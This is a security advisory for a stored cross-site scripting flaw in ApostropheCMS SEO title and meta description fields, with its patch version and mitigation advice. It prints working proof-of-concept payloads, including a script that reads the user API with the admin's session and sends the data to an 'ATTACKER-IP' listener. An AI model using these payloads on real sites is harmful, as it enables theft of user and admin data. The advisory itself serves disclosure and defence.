CVE-2026-35569 is a high-severity (CVSS 8.7) Cross-site Scripting (XSS) vulnerability in apostrophe. A fix is available for apostrophe — see the affected versions and patch details below.
ApostropheCMS: Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35569.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
apostrophenpmDescription
Summary
A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.
Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.
Affected Version
ApostropheCMS (tested on version: v4.28.0)
Vulnerability Details
User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:
<title><meta>attributes- structured data (JSON-LD)
This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.
PoC 1
The following payload demonstrates breaking out of HTML context:
"></title><script>alert(1)</script>
This confirms:
- Improper output encoding
- Ability to escape
<title> / <meta>contexts - Arbitrary script execution
PoC 2
This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.
"></title><script>
fetch('/api/v1/@apostrophecms/user', {
credentials:'include'
})
.then(r=>r.text())
.then(d=>{
fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
Video Proof of Concept
Watch the following YouTube video for a full demonstration of the exploit:
PoC Video: https://youtu.be/FZuulua_pa8
Steps to Reproduce
- Start a local listener:
python3 -m http.server 5656 - Login to ApostropheCMS as an authenticated user
- Create or edit a page
- Navigate to SEO settings
- Insert the payload into the SEO Title field and Meta Description
"></title><script>
fetch('/api/v1/@apostrophecms/user',{
credentials:'include'
})
.then(r=>r.text())
.then(d=>{
fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
- Set Schema Type to "Web page"
- Save and publish the page
- Have an administrator visit the page
Result
-
The payload executes in the admin’s browser
-
The script sends a request to:
/api/v1/@apostrophecms/user -
The response contains sensitive user data:
- usernames
- email addresses
- roles (including admin)
-
The data is exfiltrated to the attacker-controlled server:
http://ATTACKER-IP:5656
Evidence
- The attacker server receives:
GET /?data=BASE64_ENCODED_RESPONSE
- Decoding the response reveals sensitive application data.
Security Impact
This vulnerability allows an attacker to:
- Execute arbitrary JavaScript in an authenticated admin context
- Perform authenticated API requests (session riding)
- Access sensitive application data via internal APIs
- Exfiltrate sensitive data to an external attacker-controlled server
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | apostrophe | all versions | 4.29.0npm install apostrophe@4.29.0 |
Affected Products
apostrophecmsapostrophecmsDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update apostrophe to 4.29.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35569 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2026-35569 in your dependencies?
Find it across npm, including transitive dependencies.